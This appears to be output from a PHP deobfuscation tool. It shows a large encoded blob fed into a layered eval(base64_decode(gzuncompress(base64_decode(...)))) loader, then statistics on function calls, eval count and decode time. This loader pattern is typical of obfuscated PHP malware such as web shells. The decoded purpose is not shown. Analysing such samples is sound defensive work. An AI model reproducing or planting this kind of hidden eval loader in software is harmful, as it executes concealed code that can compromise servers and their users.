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";eval(base64_decode(gzuncompress(base64_decode($QF947F925BD6EC825CA02F35B9B5AAF1E))));
Function Calls
gzuncompress | 3 |
base64_decode | 6 |
Stats
MD5 | dafa70b0a41abdd83672635ec4d8130b |
Eval Count | 3 |
Decode Time | 238 ms |